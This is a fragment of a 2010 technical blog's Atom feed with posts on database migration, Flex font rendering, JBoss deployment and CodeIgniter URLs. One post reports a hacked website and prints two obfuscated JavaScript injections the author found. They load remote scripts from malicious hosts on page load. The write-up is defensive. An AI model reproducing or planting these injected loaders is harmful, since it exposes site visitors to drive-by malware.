center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JL2YcVDlI/AAAAAAAAAS0/HYTD_3dWk6I/s1600-h/migrate_mysql_mssql2k5_mssql-17-error.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 378px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JL2YcVDlI/AAAAAAAAAS0/HYTD_3dWk6I/s400/migrate_mysql_mssql2k5_mssql-17-error.JPG" alt="" id="BLOGGER_PHOTO_ID_5440994697463270994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;See error log:&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;- Pre-execute (Error)&lt;br /&gt;Messages&lt;br /&gt;* Error 0xc0202009: {97D241BA-4215-4D82-A8CE-716288708210}: An OLE DB error has occurred. Error code: 0x80004005.&lt;br /&gt;An OLE DB record is available.  Source: "Microsoft JET Database Engine"  Hresult: 0x80004005  Description: "Unspecified error".&lt;br /&gt; (SQL Server Import and Export Wizard)&lt;br /&gt;&lt;br /&gt;* Error 0xc020801c: Data Flow Task: The AcquireConnection method call to the connection manager "SourceConnectionOLEDB" failed with error code 0xC0202009.&lt;br /&gt; (SQL Server Import and Export Wizard)&lt;br /&gt;&lt;br /&gt;* Error 0xc004701a: Data Flow Task: component "Source 32 - wp_bp_messages_messages" (2627) failed the pre-execute phase and returned error code 0xC020801C.&lt;br /&gt; (SQL Server Import and Export Wizard)&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;My WORK FOR ME Solution:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I again re-import the database with one table and I got successful imported&lt;/li&gt;&lt;li&gt;I start again re-import for all tables, and I got successful with all tables list:&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/S4JLiG_QQQI/AAAAAAAAASs/MmyiuPoq7FU/s1600-h/migrate_mysql_mssql2k5_mssql-17-ok.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 378px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/S4JLiG_QQQI/AAAAAAAAASs/MmyiuPoq7FU/s400/migrate_mysql_mssql2k5_mssql-17-ok.JPG" alt="" id="BLOGGER_PHOTO_ID_5440994349180535042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finally:&lt;/span&gt; Check at the database, found all tables listed here and check some tables, data are there.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JQGGDKFlI/AAAAAAAAAT8/g07P-CphB_o/s1600-h/migrate_mysql_mssql2k5_mssql-18.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 345px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JQGGDKFlI/AAAAAAAAAT8/g07P-CphB_o/s400/migrate_mysql_mssql2k5_mssql-18.JPG" alt="" id="BLOGGER_PHOTO_ID_5440999365450274386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Hope it helps,&lt;br /&gt;Check and give comment if anything to update.&lt;br /&gt;What I have read:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://social.msdn.microsoft.com/Forums/en-US/sqlintegrationservices/thread/abb4d339-e0d0-42b8-a56f-bbe91cf4867d"&gt;http://social.msdn.microsoft.com/Forums/en-US/sqlintegrationservices/thread/abb4d339-e0d0-42b8-a56f-bbe91cf4867d&lt;/a&gt; (Idea got from this forum)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.aspfree.com/c/a/Microsoft-Access/Importing-Data-into-MS-Access-with-ODBC/"&gt;http://www.aspfree.com/c/a/Microsoft-Access/Importing-Data-into-MS-Access-with-ODBC/&lt;/a&gt; (For importing data into ms-access, it's using MS Access 2003)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeproject.com/KB/database/migrate-mysql-to-mssql.aspx"&gt;http://www.codeproject.com/KB/database/migrate-mysql-to-mssql.aspx&lt;/a&gt; (not follow all, as not work for me)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-3497898768169177566?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ijz17YnCOKm331GP6a1g6IRUlK8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ijz17YnCOKm331GP6a1g6IRUlK8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ijz17YnCOKm331GP6a1g6IRUlK8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ijz17YnCOKm331GP6a1g6IRUlK8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/YoOJHUYFiXk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/3497898768169177566/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/02/migrate-from-mysql-to-ms-sql-2005-using.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/3497898768169177566?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/3497898768169177566?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/YoOJHUYFiXk/migrate-from-mysql-to-ms-sql-2005-using.html" title="Migrate from MySQL to MS SQL 2005 using MS Access 2003 as a bridge" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4IhCYAOoAI/AAAAAAAAARk/xwMN7v1YqJU/s72-c/migrate_mysql_mssql2k5_1.JPG" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/02/migrate-from-mysql-to-ms-sql-2005-using.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEAHSHo5eSp7ImA9WxBWGE0.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-462343651716842057</id><published>2010-02-02T23:05:00.000-08:00</published><updated>2010-02-10T03:52:19.421-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-10T03:52:19.421-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="Flex" /><title>Flex 3.x working with Khmer Unicode ?</title><content type="html">I start a topic now with Flex 3 not rendering well with Khmer Unicode.&lt;br /&gt;&lt;br /&gt;If anyone has any idea, please share; I'll do after some test first.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Updated 10/02/2010:&lt;/span&gt;&lt;br /&gt;Embaded font still not work in flex 3:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S3KdyQeBd9I/AAAAAAAAARc/s-lX8X7Mpt0/s1600-h/flexkhmerunicode_error.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 396px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S3KdyQeBd9I/AAAAAAAAARc/s-lX8X7Mpt0/s400/flexkhmerunicode_error.JPG" alt="" id="BLOGGER_PHOTO_ID_5436581186929522642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;To continue more test and find.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-462343651716842057?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gUyDWNkXuTPGbibEc64LT7Vs42Q/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gUyDWNkXuTPGbibEc64LT7Vs42Q/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gUyDWNkXuTPGbibEc64LT7Vs42Q/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gUyDWNkXuTPGbibEc64LT7Vs42Q/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/l5kuB_aVz7U" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/462343651716842057/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/02/flex-3x-working-with-khmer-unicode.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/462343651716842057?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/462343651716842057?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/l5kuB_aVz7U/flex-3x-working-with-khmer-unicode.html" title="Flex 3.x working with Khmer Unicode ?" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_X4hIsD6J-rE/S3KdyQeBd9I/AAAAAAAAARc/s-lX8X7Mpt0/s72-c/flexkhmerunicode_error.JPG" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/02/flex-3x-working-with-khmer-unicode.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkIHSXc6fip7ImA9WxBXF0k.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-4309162192076966790</id><published>2010-01-26T20:18:00.000-08:00</published><updated>2010-01-28T21:55:38.916-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-28T21:55:38.916-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hack" /><category scheme="http://www.blogger.com/atom/ns#" term="Virus" /><title>Website hacked with random URL to access (http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/)</title><content type="html">One of my website has been hacked by some hacker or can be with some libraries I am using for my CodeIgniter project... I'm not sure if it is due to the library or about my web hosting place.... I'm still investigating the issue.&lt;br /&gt;&lt;br /&gt;It is trying to access to random URL as :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/apple.com/apple.com/drudgereport.com/google.com/joy.cn/&lt;/blockquote&gt;Mostly the random URL start with:&lt;br /&gt;&lt;blockquote&gt;http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080&lt;/blockquote&gt;&lt;br /&gt;Check to webnetlinks.ru I got alert from WOT (Add-on of firefox) that this site is unsafe.&lt;br /&gt;&lt;br /&gt;View my page source code found:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Following script before html tag&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;script src='+'h^&amp;amp;)t($t)$#p&amp;amp;($^$:@$/)^)/)^@(k^^^!u)))6@(-&amp;amp;^c((!!o#@^m#.@&amp;amp;h#@a()&lt;br /&gt;(b!e@)!r!##t(@^u&amp;amp;r$#k$.!#c)!o@(&amp;amp;m&amp;amp;@.^&amp;amp;@c@@#a^)r$#^!&amp;amp;e&amp;amp;$^@e@#)!r@&amp;amp;b^)u)^i!&lt;br /&gt;(l)(d&amp;amp;@e)!#r!)(-(c!^^o$^m^^!.!!&amp;amp;w^&amp;amp;(e(!^b!#)^!n!#)e#&lt;br /&gt;(&amp;amp;)t!&amp;amp;l##!^!i&amp;amp;@n#$k$&amp;amp;s)&amp;amp;#.&amp;amp;@!$r@)@u$!):$8)^&amp;amp;0$$!8&amp;amp;!0)&lt;br /&gt;(#$/)$a)#p!$p$l&amp;amp;#e&amp;amp;#.^^@#c#o$$&amp;amp;)m$$#/!)a^@@$p)!p)l^#e&amp;amp;!.!$#c#(@o)$)^m((&amp;amp;&lt;br /&gt;/&amp;amp;&amp;amp;d^&amp;amp;r$@u!@^d^)&amp;amp;g$$)e#$@r(^e(^!p&amp;amp;^o@!^&amp;amp;r^^)#t)&amp;amp;(#.)$^c()o^)m(@@&lt;br /&gt;/@@g$&amp;amp;#^#o#o$g&amp;amp;l#!e(&amp;amp;.#!(c^&amp;amp;o^$m)#&amp;amp;&amp;amp;/$j$o#$)y).@^c&amp;amp;)n(@&amp;amp;/!@'.replace(/\$|\!|\)|&lt;br /&gt;\^|#|@|\(|&amp;amp;/ig, '')+' defer=defer&gt;&amp;lt;/scr'+'ipt&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;At the end of html tag found some hidden code:&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;82fd50e7972f75db5204eef49fd077cc&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;All those above, I didn't code so consider this point to start searching.&lt;br /&gt;&lt;br /&gt;Note: I have no any issue at my local site.&lt;br /&gt;&lt;br /&gt;Hope I'll find soon&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update 27/01, 1:30pm&lt;/span&gt;: Very bad, these scripts are added to most html pages, to most javascript files. Seem not issue due to any library of CodeIgniter but with some virus who can hack using ftp, it may be my password is very poor that it can hack.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update 29/01, 12:48pm&lt;/span&gt;: Now again, new hack script added the same site (before I didn't change ftp password yet), here is the new script:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;br /&gt;try{window.onload=function(){document.write('&amp;lt;div id="megaid"&gt;youjizz-com.oneindia.in.d&amp;lt;/div&gt;');Lb4bz8i1odh = document.getElementById('megaid').innerHTML + 'u$#!$^o#@@w&amp;amp;a(n(@!-$$$c@(o$)!$m)&amp;amp;$@!.!)$(@t)^o($(p)!#l$i$@n#$^e&amp;amp;^(m@#&amp;amp;a@$^#r^^i@@^(n$e^##.#r&amp;amp;^$u(@^:)$D@!#E^()B^&amp;amp;U!(@&amp;amp;G#$#$/&amp;amp;&amp;amp;(s#^$p@(!(o$n&amp;amp;@i$)c@^h$#i^@$.^c&amp;amp;(o)$.(!j#@(p(!^^!/$s#!p(!&amp;amp;^o#n@)#i^!c##h)#)i(@.@!&amp;amp;^c(#o))@!.!j(^#p^^!!/@(^#@x)@t#!e!#$)n$)^d!(m@e@d((i&amp;amp;^!a^$!&amp;amp;).)@)#(c)$#o&amp;amp;^^#m#@$/!^^&amp;amp;g$@$o#o@!(g&amp;amp;!@#l#@#e#.@$@#c!(o^m)!^/&amp;amp;a!)l(!(i@c$!&amp;amp;e(^^.)!#^i^#$t($/@&amp;amp;'.replace(/@|\$|#|&amp;amp;|\^|\!|\)|\(/ig, '') ;document.write('&amp;lt;scr'+'ipt src="http://%27+Lb4bz8i1odh.replace%28/DEBUG/g,"&gt;&amp;lt;/scr'+'ipt&gt;');} }  catch(Ijhdnoxns ) {}&lt;br /&gt;&amp;lt;!--82fd50e7972f75db5204eef49fd077cc--&gt;&amp;lt;script&gt; try{window.onload=function(){document.write('&amp;lt;div id="megaid"&gt;youjizz-com.oneindia.in.d&amp;lt;/div&gt;');Lb4bz8i1odh = document.getElementById('megaid').innerHTML + 'u$#!$^o#@@w&amp;amp;a(n(@!-$$$c@(o$)!$m)&amp;amp;$@!.!)$(@t)^o($(p)!#l$i$@n#$^e&amp;amp;^(m@#&amp;amp;a@$^#r^^i@@^(n$e^##.#r&amp;amp;^$u(@^:)$D@!#E^()B^&amp;amp;U!(@&amp;amp;G#$#$/&amp;amp;&amp;amp;(s#^$p@(!(o$n&amp;amp;@i$)c@^h$#i^@$.^c&amp;amp;(o)$.(!j#@(p(!^^!/$s#!p(!&amp;amp;^o#n@)#i^!c##h)#)i(@.@!&amp;amp;^c(#o))@!.!j(^#p^^!!/@(^#@x)@t#!e!#$)n$)^d!(m@e@d((i&amp;amp;^!a^$!&amp;amp;).)@)#(c)$#o&amp;amp;^^#m#@$/!^^&amp;amp;g$@$o#o@!(g&amp;amp;!@#l#@#e#.@$@#c!(o^m)!^/&amp;amp;a!)l(!(i@c$!&amp;amp;e(^^.)!#^i^#$t($/@&amp;amp;'.replace(/@|\$|#|&amp;amp;|\^|\!|\)|\(/ig, '') ;document.write('&amp;lt;scr'+'ipt src="http://'+Lb4bz8i1odh.replace(/DEBUG/g,"&gt;&amp;lt;/scr'+'ipt&gt;');} }  catch(Ijhdnoxns ) {}&amp;lt;/script&gt;&lt;br /&gt;&amp;lt;!--82fd50e7972f75db5204eef49fd077cc--&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Related issue found on the net:&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/"&gt;http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/"&gt;http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solutions:&lt;/span&gt; (that may can prevent not to happen again)&lt;br /&gt;I'm using FileZilla as a ftp client&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Change ftp password&lt;/li&gt;&lt;li&gt;Change application password&lt;/li&gt;&lt;li&gt;Scan virus on the pc that using&lt;/li&gt;&lt;li&gt;Remove all storing passwords on FTP clients&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-4309162192076966790?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/C8mCA3jkLPIgvSJmsEhNOb89clk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/C8mCA3jkLPIgvSJmsEhNOb89clk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/C8mCA3jkLPIgvSJmsEhNOb89clk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/C8mCA3jkLPIgvSJmsEhNOb89clk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/W71MH11Ywyc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/4309162192076966790/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/01/website-hacked-with-random-url-to.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/4309162192076966790?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/4309162192076966790?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/W71MH11Ywyc/website-hacked-with-random-url-to.html" title="Website hacked with random URL to access (http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/)" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/01/website-hacked-with-random-url-to.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUHQ3Y5fSp7ImA9WxBXFEo.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-1726627372255820343</id><published>2010-01-25T19:14:00.000-08:00</published><updated>2010-01-25T19:40:32.825-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-25T19:40:32.825-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="J2EE" /><category scheme="http://www.blogger.com/atom/ns#" term="Jboss" /><title>JBoss 4.2.2.GA - Deploying issue on class loading and out of memory</title><content type="html">While deploying my applications with JBoss 4.2.2.GA, using JDK 1.5 I got some issue with class loading issue something like:&lt;br /&gt;&lt;br /&gt;1. If meet such error:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;org.jboss.deployment.DeploymentException: Error while fixing table name; - nested throwable: (org.jboss.util.NestedSQLException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver)); - nested throwable: (org.jboss.resource.JBossResourceException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver))))&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;For sure, missing Oracle JDBC driver so Copy the Oracle JDBC Driver (10.2.0.1.0) (ojdbc14.jar) to lib folder of %JBOSS_HOME%/lib or at your server %JBOSS_HOME%/server/default/lib directory.&lt;br /&gt;&lt;br /&gt;2. If something around:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;2010-01-25 15:03:27,113 DEBUG [org.jboss.web.tomcat.service.TomcatDeployer] Classes needed for clustered webapp unavailable&lt;br /&gt;java.lang.NoClassDefFoundError: org/jgroups/blocks/MethodCall&lt;br /&gt;at org.jboss.web.tomcat.service.session.JBossCacheService.&lt;clinit&gt;(JBossCacheService.java:70)&lt;br /&gt;at org.jboss.web.tomcat.service.session.JBossCacheManager.init(JBossCacheManager.java:157)&lt;br /&gt;at org.jboss.web.tomcat.service.TomcatDeployer.performDeployInternal(TomcatDeployer.java:336) &lt;/clinit&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So please try as following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Define a isolated classloader. To do it, change  %JBOSS_HOME%/server/default/conf/jboss-service.xml :&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;mbean code="org.jboss.naming.NamingService" name="jboss:service=Naming" dd="resource:xmdesc/NamingService-xmbean.xml"&amp;gt;&lt;br /&gt;[ ... ]&lt;br /&gt;&amp;lt;attribute name="CallByValue"&amp;gt;true&amp;lt;/attribute&amp;gt;&lt;br /&gt;[ ... ]&lt;br /&gt;&amp;lt;/mbean&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;change %JBOSS_HOME%/server/default/deploy/ear-deployer.xml :&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;server&amp;gt;&lt;br /&gt;[...]&lt;br /&gt;&amp;lt;attribute name="Isolated"&amp;gt;true&amp;lt;/attribute&amp;gt;&lt;br /&gt;[...]&lt;br /&gt;&amp;lt;attribute name="CallByValue"&amp;gt;true&amp;lt;/attribute&amp;gt;&lt;br /&gt;[...]&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;change %JBOSS_HOME%/server/default/deploy/jboss-web.deployer/META-INF/jboss-service.xml :&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;[...]&lt;br /&gt;&amp;lt;attribute name="Java2ClassLoadingCompliance"&amp;gt;true&amp;lt;/attribute&amp;gt;&lt;br /&gt;[...]&lt;br /&gt;&amp;lt;attribute name="UseJBossWebLoader"&amp;gt;true&amp;lt;/attribute&amp;gt;&lt;br /&gt;[...]&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;3. When you wanna to deploy more than 2 applications on the same JBoss server instance, you may face some issues with unsuccessful deployment and with some error around Out of Memory.&lt;br /&gt;So we need to increase memory allocation for Jboss, let's try to add/change JAVA_OPTS for memory allocation in file %JBOSS_HOME%/bin/run.bat as&lt;br /&gt;&lt;/code&gt;&lt;blockquote&gt;set JAVA_OPTS=%JAVA_OPTS% -Xms512m -Xmx1024m  -XX:MaxPermSize=128m&lt;/blockquote&gt;&lt;br /&gt;My applications are now deployed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-1726627372255820343?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QL9GbkdueI4GsLVdF4fKSZUPxXQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QL9GbkdueI4GsLVdF4fKSZUPxXQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QL9GbkdueI4GsLVdF4fKSZUPxXQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QL9GbkdueI4GsLVdF4fKSZUPxXQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/kozz3IiGTk8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/1726627372255820343/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/01/jboss-422ga-deploying-issue-on-class.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/1726627372255820343?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/1726627372255820343?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/kozz3IiGTk8/jboss-422ga-deploying-issue-on-class.html" title="JBoss 4.2.2.GA - Deploying issue on class loading and out of memory" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/01/jboss-422ga-deploying-issue-on-class.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcAQ3g4cSp7ImA9WxBXFU8.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-695034070438943543</id><published>2010-01-21T21:22:00.000-08:00</published><updated>2010-01-26T08:24:02.639-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-26T08:24:02.639-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="CodeIgniter" /><title>CodeIgniter - Remove index.php from URI</title><content type="html">Normally with CodeIgniter, the URI will come with http://domain/index.php/controller/method&lt;br /&gt;You may have doubt to remove the index.php to have only http://domain/controller/method ..&lt;br /&gt;&lt;br /&gt;Here is the way:&lt;br /&gt;1. mod_rewrite still need to be enable in your apache server&lt;br /&gt;2. Open config.php from your application/config and replace &lt;b&gt;$config['index_page'] = “index.php”&lt;/b&gt; by &lt;b&gt;$config['index_page'] = “”&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;3. In file .htaccess at the root of your website (should be in website root, where the system directory is) and add following line:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;    RewriteEngine on&lt;br /&gt;    RewriteCond $1 !^(index\.php|resources|robots\.txt)&lt;br /&gt;    RewriteCond %{REQUEST_FILENAME} !-f&lt;br /&gt;    RewriteCond 